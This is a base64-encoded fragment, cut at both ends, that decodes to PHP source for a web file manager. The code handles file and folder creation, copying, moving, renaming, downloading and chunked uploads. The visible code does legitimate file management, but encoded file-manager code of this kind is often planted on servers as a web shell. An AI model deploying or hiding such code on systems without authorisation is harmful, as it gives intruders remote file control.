5hbWUnKSwgJ2Vycm9yJyk7XG4gICAgfVxuICAgICRGTV9QQVRIID0gRk1fUEFUSDtcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG59XG5cbmlmIChpc3NldCgkX1BPU1RbJ25ld2ZpbGVuYW1lJ10sICRfUE9TVFsnbmV3ZmlsZSddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkge1xuICAgICR0eXBlID0gdXJsZGVjb2RlKCRfUE9TVFsnbmV3ZmlsZSddKTtcbiAgICAkbmV3ID0gc3RyX3JlcGxhY2UoJ1wvJywgJycsIGZtX2NsZWFuX3BhdGgoc3RyaXBfdGFncygkX1BPU1RbJ25ld2ZpbGVuYW1lJ10pKSk7XG4gICAgaWYgKGZtX2lzdmFsaWRfZmlsZW5hbWUoJG5ldykgJiYgJG5ldyAhPSAnJyAmJiAkbmV3ICE9ICcuLicgJiYgJG5ldyAhPSAnLicgJiYgdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkge1xuICAgICAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDtcbiAgICAgICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xuICAgICAgICB9XG4gICAgICAgIGlmICgkdHlwZSA9PSBcImZpbGVcIikge1xuICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkcGF0aCAuICdcLycgLiAkbmV3KSkge1xuICAgICAgICAgICAgICAgIGlmIChmbV9pc192YWxpZF9leHQoJG5ldykpIHtcbiAgICAgICAgICAgICAgICAgICAgQGZvcGVuKCRwYXRoIC4gJ1wvJyAuICRuZXcsICd3Jykgb3IgZGllKCdDYW5ub3Qgb3BlbiBmaWxlOiAgJyAuICRuZXcpO1xuICAgICAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdGaWxlJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnQ3JlYXRlZCcpLCBmbV9lbmMoJG5ldykpKTtcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQnKSwgJ2Vycm9yJyk7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdGaWxlJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnYWxyZWFkeSBleGlzdHMnKSwgZm1fZW5jKCRuZXcpKSwgJ2FsZXJ0Jyk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICBpZiAoZm1fbWtkaXIoJHBhdGggLiAnXC8nIC4gJG5ldywgZmFsc2UpID09PSB0cnVlKSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRm9sZGVyJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnQ3JlYXRlZCcpLCAkbmV3KSk7XG4gICAgICAgICAgICB9IGVsc2VpZiAoZm1fbWtkaXIoJHBhdGggLiAnXC8nIC4gJG5ldywgZmFsc2UpID09PSAkcGF0aCAuICdcLycgLiAkbmV3KSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRm9sZGVyJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnYWxyZWFkeSBleGlzdHMnKSwgZm1fZW5jKCRuZXcpKSwgJ2FsZXJ0Jyk7XG4gICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZihsbmcoJ0ZvbGRlcicpIC4gJyA8Yj4lczxcL2I+ICcgLiBsbmcoJ25vdCBjcmVhdGVkJyksIGZtX2VuYygkbmV3KSksICdlcnJvcicpO1xuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ludmFsaWQgY2hhcmFjdGVycyBpbiBmaWxlIG9yIGZvbGRlciBuYW1lJyksICdlcnJvcicpO1xuICAgIH1cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5pZiAoaXNzZXQoJF9HRVRbJ2NvcHknXSwgJF9HRVRbJ2ZpbmlzaCddKSAmJiAhRk1fUkVBRE9OTFkpIHtcbiAgICAkY29weSA9IHVybGRlY29kZSgkX0dFVFsnY29weSddKTtcbiAgICAkY29weSA9IGZtX2NsZWFuX3BhdGgoJGNvcHkpO1xuICAgIGlmICgkY29weSA9PSAnJykge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnU291cmNlIHBhdGggbm90IGRlZmluZWQnKSwgJ2Vycm9yJyk7XG4gICAgICAgICRGTV9QQVRIID0gRk1fUEFUSDtcbiAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xuICAgIH1cbiAgICAkZnJvbSA9IEZNX1JPT1RfUEFUSCAuICdcLycgLiAkY29weTtcbiAgICAkZGVzdCA9IEZNX1JPT1RfUEFUSDtcbiAgICBpZiAoRk1fUEFUSCAhPSAnJykge1xuICAgICAgICAkZGVzdCAuPSAnXC8nIC4gRk1fUEFUSDtcbiAgICB9XG4gICAgJGRlc3QgLj0gJ1wvJyAuIGJhc2VuYW1lKCRmcm9tKTtcbiAgICAkbW92ZSA9IGlzc2V0KCRfR0VUWydtb3ZlJ10pO1xuICAgICRtb3ZlID0gZm1fY2xlYW5fcGF0aCh1cmxkZWNvZGUoJG1vdmUpKTtcbiAgICBpZiAoJGZyb20gIT0gJGRlc3QpIHtcbiAgICAgICAgJG1zZ19mcm9tID0gdHJpbShGTV9QQVRIIC4gJ1wvJyAuIGJhc2VuYW1lKCRmcm9tKSwgJ1wvJyk7XG4gICAgICAgIGlmICgkbW92ZSkge1xuICAgICAgICAgICAgJHJlbmFtZSA9IGZtX3JlbmFtZSgkZnJvbSwgJGRlc3QpO1xuICAgICAgICAgICAgaWYgKCRyZW5hbWUpIHtcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdNb3ZlZCBmcm9tJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygndG8nKSAuICcgPGI+JXM8XC9iPicsIGZtX2VuYygkY29weSksIGZtX2VuYygkbXNnX2Zyb20pKSk7XG4gICAgICAgICAgICB9IGVsc2VpZiAoJHJlbmFtZSA9PT0gbnVsbCkge1xuICAgICAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG9yIGZvbGRlciB3aXRoIHRoaXMgcGF0aCBhbHJlYWR5IGV4aXN0cycpLCAnYWxlcnQnKTtcbiAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRXJyb3Igd2hpbGUgbW92aW5nIGZyb20nKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCd0bycpIC4gJyA8Yj4lczxcL2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRtc2dfZnJvbSkpLCAnZXJyb3InKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIGlmIChmbV9yY29weSgkZnJvbSwgJGRlc3QpKSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnQ29waWVkIGZyb20nKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCd0bycpIC4gJyA8Yj4lczxcL2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRtc2dfZnJvbSkpKTtcbiAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRXJyb3Igd2hpbGUgY29weWluZyBmcm9tJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygndG8nKSAuICcgPGI+JXM8XC9iPicsIGZtX2VuYygkY29weSksIGZtX2VuYygkbXNnX2Zyb20pKSwgJ2Vycm9yJyk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICB9IGVsc2Uge1xuICAgICAgICBpZiAoISRtb3ZlKSB7XG4gICAgICAgICAgICAkbXNnX2Zyb20gPSB0cmltKEZNX1BBVEggLiAnXC8nIC4gYmFzZW5hbWUoJGZyb20pLCAnXC8nKTtcbiAgICAgICAgICAgICRmbl9wYXJ0cyA9IHBhdGhpbmZvKCRmcm9tKTtcbiAgICAgICAgICAgICRleHRlbnNpb25fc3VmZml4ID0gJyc7XG4gICAgICAgICAgICBpZiAoIWlzX2RpcigkZnJvbSkpIHtcbiAgICAgICAgICAgICAgICAkZXh0ZW5zaW9uX3N1ZmZpeCA9ICcuJyAuICRmbl9wYXJ0c1snZXh0ZW5zaW9uJ107XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICAkZm5fZHVwbGljYXRlID0gJGZuX3BhcnRzWydkaXJuYW1lJ10gLiAnXC8nIC4gJGZuX3BhcnRzWydmaWxlbmFtZSddIC4gJy0nIC4gZGF0ZSgnWW1kSGlzJykgLiAkZXh0ZW5zaW9uX3N1ZmZpeDtcbiAgICAgICAgICAgICRsb29wX2NvdW50ID0gMDtcbiAgICAgICAgICAgICRtYXhfbG9vcCA9IDEwMDA7XG4gICAgICAgICAgICB3aGlsZSAoZmlsZV9leGlzdHMoJGZuX2R1cGxpY2F0ZSkgJiAkbG9vcF9jb3VudCA8ICRtYXhfbG9vcCkge1xuICAgICAgICAgICAgICAgICRmbl9wYXJ0cyA9IHBhdGhpbmZvKCRmbl9kdXBsaWNhdGUpO1xuICAgICAgICAgICAgICAgICRmbl9kdXBsaWNhdGUgPSAkZm5fcGFydHNbJ2Rpcm5hbWUnXSAuICdcLycgLiAkZm5fcGFydHNbJ2ZpbGVuYW1lJ10gLiAnLWNvcHknIC4gJGV4dGVuc2lvbl9zdWZmaXg7XG4gICAgICAgICAgICAgICAgJGxvb3BfY291bnQrKztcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIGlmIChmbV9yY29weSgkZnJvbSwgJGZuX2R1cGxpY2F0ZSwgRmFsc2UpKSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKCdDb3BpZWQgZnJvbSA8Yj4lczxcL2I+IHRvIDxiPiVzPFwvYj4nLCBmbV9lbmMoJGNvcHkpLCBmbV9lbmMoJGZuX2R1cGxpY2F0ZSkpKTtcbiAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKCdFcnJvciB3aGlsZSBjb3B5aW5nIGZyb20gPGI+JXM8XC9iPiB0byA8Yj4lczxcL2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRmbl9kdXBsaWNhdGUpKSwgJ2Vycm9yJyk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnUGF0aHMgbXVzdCBiZSBub3QgZXF1YWwnKSwgJ2FsZXJ0Jyk7XG4gICAgICAgIH1cbiAgICB9XG4gICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbn1cblxuaWYgKGlzc2V0KCRfUE9TVFsnZmlsZSddLCAkX1BPU1RbJ2NvcHlfdG8nXSwgJF9QT1NUWydmaW5pc2gnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAhRk1fUkVBRE9OTFkpIHtcblxuICAgIGlmICghdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnSW52YWxpZCBUb2tlbi4nKSwgJ2Vycm9yJyk7XG4gICAgICAgIGRpZShcIkludmFsaWQgVG9rZW4uXCIpO1xuICAgIH1cblxuICAgICRwYXRoID0gRk1fUk9PVF9QQVRIO1xuICAgIGlmIChGTV9QQVRIICE9ICcnKSB7XG4gICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xuICAgIH1cbiAgICAkY29weV90b19wYXRoID0gRk1fUk9PVF9QQVRIO1xuICAgICRjb3B5X3RvID0gZm1fY2xlYW5fcGF0aCgkX1BPU1RbJ2NvcHlfdG8nXSk7XG4gICAgaWYgKCRjb3B5X3RvICE9ICcnKSB7XG4gICAgICAgICRjb3B5X3RvX3BhdGggLj0gJ1wvJyAuICRjb3B5X3RvO1xuICAgIH1cbiAgICBpZiAoJHBhdGggPT0gJGNvcHlfdG9fcGF0aCkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnUGF0aHMgbXVzdCBiZSBub3QgZXF1YWwnKSwgJ2FsZXJ0Jyk7XG4gICAgICAgICRGTV9QQVRIID0gRk1fUEFUSDtcbiAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xuICAgIH1cbiAgICBpZiAoIWlzX2RpcigkY29weV90b19wYXRoKSkge1xuICAgICAgICBpZiAoIWZtX21rZGlyKCRjb3B5X3RvX3BhdGgsIHRydWUpKSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKCdVbmFibGUgdG8gY3JlYXRlIGRlc3RpbmF0aW9uIGZvbGRlcicsICdlcnJvcicpO1xuICAgICAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xuICAgICAgICB9XG4gICAgfVxuICAgICRtb3ZlID0gaXNzZXQoJF9QT1NUWydtb3ZlJ10pO1xuICAgICRlcnJvcnMgPSAwO1xuICAgICRmaWxlcyA9ICRfUE9TVFsnZmlsZSddO1xuICAgIGlmIChpc19hcnJheSgkZmlsZXMpICYmIGNvdW50KCRmaWxlcykpIHtcbiAgICAgICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmKSB7XG4gICAgICAgICAgICBpZiAoJGYgIT0gJycpIHtcbiAgICAgICAgICAgICAgICAkZiA9IGZtX2NsZWFuX3BhdGgoJGYpO1xuICAgICAgICAgICAgICAgICRmcm9tID0gJHBhdGggLiAnXC8nIC4gJGY7XG4gICAgICAgICAgICAgICAgJGRlc3QgPSAkY29weV90b19wYXRoIC4gJ1wvJyAuICRmO1xuICAgICAgICAgICAgICAgIGlmICgkbW92ZSkge1xuICAgICAgICAgICAgICAgICAgICAkcmVuYW1lID0gZm1fcmVuYW1lKCRmcm9tLCAkZGVzdCk7XG4gICAgICAgICAgICAgICAgICAgIGlmICgkcmVuYW1lID09PSBmYWxzZSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgJGVycm9ycysrO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgaWYgKCFmbV9yY29weSgkZnJvbSwgJGRlc3QpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkZXJyb3JzKys7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCRlcnJvcnMgPT0gMCkge1xuICAgICAgICAgICAgJG1zZyA9ICRtb3ZlID8gJ1NlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXJzIG1vdmVkJyA6ICdTZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVycyBjb3BpZWQnO1xuICAgICAgICAgICAgZm1fc2V0X21zZygkbXNnKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICRtc2cgPSAkbW92ZSA/ICdFcnJvciB3aGlsZSBtb3ZpbmcgaXRlbXMnIDogJ0Vycm9yIHdoaWxlIGNvcHlpbmcgaXRlbXMnO1xuICAgICAgICAgICAgZm1fc2V0X21zZygkbXNnLCAnZXJyb3InKTtcbiAgICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdOb3RoaW5nIHNlbGVjdGVkJyksICdhbGVydCcpO1xuICAgIH1cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5pZiAoaXNzZXQoJF9QT1NUWydyZW5hbWVfZnJvbSddLCAkX1BPU1RbJ3JlbmFtZV90byddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkge1xuICAgIGlmICghdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkge1xuICAgICAgICBmbV9zZXRfbXNnKFwiSW52YWxpZCBUb2tlbi5cIiwgJ2Vycm9yJyk7XG4gICAgICAgIGRpZShcIkludmFsaWQgVG9rZW4uXCIpO1xuICAgIH1cbiAgICAkb2xkID0gdXJsZGVjb2RlKCRfUE9TVFsncmVuYW1lX2Zyb20nXSk7XG4gICAgJG9sZCA9IGZtX2NsZWFuX3BhdGgoJG9sZCk7XG4gICAgJG9sZCA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkb2xkKTtcbiAgICAkbmV3ID0gdXJsZGVjb2RlKCRfUE9TVFsncmVuYW1lX3RvJ10pO1xuICAgICRuZXcgPSBmbV9jbGVhbl9wYXRoKHN0cmlwX3RhZ3MoJG5ldykpO1xuICAgICRuZXcgPSBzdHJfcmVwbGFjZSgnXC8nLCAnJywgJG5ldyk7XG4gICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgfVxuICAgIGlmIChmbV9pc3ZhbGlkX2ZpbGVuYW1lKCRuZXcpICYmICRvbGQgIT0gJycgJiYgJG5ldyAhPSAnJykge1xuICAgICAgICBpZiAoZm1fcmVuYW1lKCRwYXRoIC4gJ1wvJyAuICRvbGQsICRwYXRoIC4gJ1wvJyAuICRuZXcpKSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdSZW5hbWVkIGZyb20nKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCd0bycpIC4gJyA8Yj4lczxcL2I+JywgZm1fZW5jKCRvbGQpLCBmbV9lbmMoJG5ldykpKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZihsbmcoJ0Vycm9yIHdoaWxlIHJlbmFtaW5nIGZyb20nKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCd0bycpIC4gJyA8Yj4lczxcL2I+JywgZm1fZW5jKCRvbGQpLCBmbV9lbmMoJG5ldykpLCAnZXJyb3InKTtcbiAgICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdJbnZhbGlkIGNoYXJhY3RlcnMgaW4gZmlsZSBuYW1lJyksICdlcnJvcicpO1xuICAgIH1cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5pZiAoaXNzZXQoJF9HRVRbJ2RsJ10sICRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICBpZiAoIXZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICAgICAgZm1fc2V0X21zZyhcIkludmFsaWQgVG9rZW4uXCIsICdlcnJvcicpO1xuICAgICAgICBleGl0O1xuICAgIH1cblxuICAgICRkbCA9IHVybGRlY29kZSgkX0dFVFsnZGwnXSk7XG4gICAgJGRsID0gZm1fY2xlYW5fcGF0aCgkZGwpO1xuICAgICRkbCA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZGwpO1xuXG4gICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgfVxuXG4gICAgaWYgKCRkbCAhPSAnJyAmJiBpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRkbCkpIHtcbiAgICAgICAgaWYgKHNlc3Npb25fc3RhdHVzKCkgPT09IFBIUF9TRVNTSU9OX0FDVElWRSkge1xuICAgICAgICAgICAgc2Vzc2lvbl93cml0ZV9jbG9zZSgpO1xuICAgICAgICB9XG5cbiAgICAgICAgZm1fZG93bmxvYWRfZmlsZSgkcGF0aCAuICdcLycgLiAkZGwsICRkbCwgMTAyNCk7XG4gICAgICAgIGV4aXQ7XG4gICAgfSBlbHNlIHtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgbm90IGZvdW5kJyksICdlcnJvcicpO1xuICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbiAgICB9XG59XG5cbmlmICghZW1wdHkoJF9GSUxFUykgJiYgIUZNX1JFQURPTkxZKSB7XG4gICAgaWYgKGlzc2V0KCRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICAgICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgnc3RhdHVzJyA9PiAnZXJyb3InLCAnaW5mbycgPT4gXCJJbnZhbGlkIFRva2VuLlwiKTtcbiAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoJHJlc3BvbnNlKTtcbiAgICAgICAgICAgIGV4aXQoKTtcbiAgICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICAgICRyZXNwb25zZSA9IGFycmF5KCdzdGF0dXMnID0+ICdlcnJvcicsICdpbmZvJyA9PiBcIlRva2VuIE1pc3NpbmcuXCIpO1xuICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7XG4gICAgICAgIGV4aXQoKTtcbiAgICB9XG5cbiAgICAkY2h1bmtJbmRleCA9ICRfUE9TVFsnZHpjaHVua2luZGV4J107XG4gICAgJGNodW5rVG90YWwgPSAkX1BPU1RbJ2R6dG90YWxjaHVua2NvdW50J107XG4gICAgJGZ1bGxQYXRoSW5wdXQgPSBmbV9jbGVhbl9wYXRoKCRfUkVRVUVTVFsnZnVsbHBhdGgnXSk7XG5cbiAgICAkZiA9ICRfRklMRVM7XG4gICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgJGRzID0gRElSRUNUT1JZX1NFUEFSQVRPUjtcbiAgICBpZiAoRk1fUEFUSCAhPSAnJykge1xuICAgICAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcbiAgICB9XG5cbiAgICAkZXJyb3JzID0gMDtcbiAgICAkdXBsb2FkcyA9IDA7XG4gICAgJGFsbG93ZWQgPSAoRk1fVVBMT0FEX0VYVEVOU0lPTikgPyBleHBsb2RlKCcsJywgRk1fVVBMT0FEX0VYVEVOU0lPTikgOiBmYWxzZTtcbiAgICAkcmVzcG9uc2UgPSBhcnJheShcbiAgICAgICAgJ3N0YXR1cycgPT4gJ2Vycm9yJyxcbiAgICAgICAgJ2luZm8nICAgPT4gJ09vcHMhIFRyeSBhZ2FpbidcbiAgICApO1xuXG4gICAgJGZpbGVuYW1lID0gJGZbJ2ZpbGUnXVsnbmFtZSddO1xuICAgICR0bXBfbmFtZSA9ICRmWydmaWxlJ11bJ3RtcF9uYW1lJ107XG4gICAgJGV4dCA9IHBhdGhpbmZvKCRmaWxlbmFtZSwgUEFUSElORk9fRklMRU5BTUUpICE9ICcnID8gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZW5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTikpIDogJyc7XG4gICAgJGlzRmlsZUFsbG93ZWQgPSAoJGFsbG93ZWQpID8gaW5fYXJyYXkoJGV4dCwgJGFsbG93ZWQpIDogdHJ1ZTtcblxuICAgIGlmICghZm1faXN2YWxpZF9maWxlbmFtZSgkZmlsZW5hbWUpICYmICFmbV9pc3ZhbGlkX2ZpbGVuYW1lKCRmdWxsUGF0aElucHV0KSkge1xuICAgICAgICAkcmVzcG9uc2UgPSBhcnJheShcbiAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsXG4gICAgICAgICAgICAnaW5mbycgICAgICA9PiBcIkludmFsaWQgRmlsZSBuYW1lIVwiLFxuICAgICAgICApO1xuICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7XG4gICAgICAgIGV4aXQoKTtcbiAgICB9XG5cbiAgICAkdGFyZ2V0UGF0aCA9ICRwYXRoIC4gJGRzO1xuICAgIGlmIChpc193cml0YWJsZSgkdGFyZ2V0UGF0aCkpIHtcbiAgICAgICAgJGZ1bGxQYXRoID0gJHBhdGggLiAnXC8nIC4gJGZ1bGxQYXRoSW5wdXQ7XG4gICAgICAgICRmb2xkZXIgPSBzdWJzdHIoJGZ1bGxQYXRoLCAwLCBzdHJycG9zKCRmdWxsUGF0aCwgXCJcL1wiKSk7XG5cbiAgICAgICAgaWYgKCFpc19kaXIoJGZvbGRlcikpIHtcbiAgICAgICAgICAgICRvbGQgPSB1bWFzaygwKTtcbiAgICAgICAgICAgIG1rZGlyKCRmb2xkZXIsIDA3NzcsIHRydWUpO1xuICAgICAgICAgICAgdW1hc2soJG9sZCk7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoZW1wdHkoJGZbJ2ZpbGUnXVsnZXJyb3InXSkgJiYgIWVtcHR5KCR0bXBfbmFtZSkgJiYgJHRtcF9uYW1lICE9ICdub25lJyAmJiAkaXNGaWxlQWxsb3dlZCkge1xuICAgICAgICAgICAgaWYgKCRjaHVua1RvdGFsKSB7XG4gICAgICAgICAgICAgICAgJG91dCA9IEBmb3BlbihcInskZnVsbFBhdGh9LnBhcnRcIiwgJGNodW5rSW5kZXggPT0gMCA/IFwid2JcIiA6IFwiYWJcIik7XG4gICAgICAgICAgICAgICAgaWYgKCRvdXQpIHtcbiAgICAgICAgICAgICAgICAgICAgJGluID0gQGZvcGVuKCR0bXBfbmFtZSwgXCJyYlwiKTtcbiAgICAgICAgICAgICAgICAgICAgaWYgKCRpbikge1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKFBIUF9WRVJTSU9OX0lEIDwgODAwMDkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbyB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvciAoOzspIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRidWZmID0gZnJlYWQoJGluLCA0MDk2KTtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkYnVmZiA9PT0gZmFsc2UgfHwgJGJ1ZmYgPT09ICcnKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmd3JpdGUoJG91dCwgJGJ1ZmYpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfSB3aGlsZSAoIWZlb2YoJGluKSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmVhbV9jb3B5X3RvX3N0cmVhbSgkaW4sICRvdXQpO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3N0YXR1cycgICAgPT4gJ3N1Y2Nlc3MnLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdpbmZvJyA9PiBcImZpbGUgdXBsb2FkIHN1Y2Nlc3NmdWxcIlxuICAgICAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2luZm8nID0+IFwiZmFpbGVkIHRvIG9wZW4gb3V0cHV0IHN0cmVhbVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdlcnJvckRldGFpbHMnID0+IGVycm9yX2dldF9sYXN0KClcbiAgICAgICAgICAgICAgICAgICAgICAgICk7XG4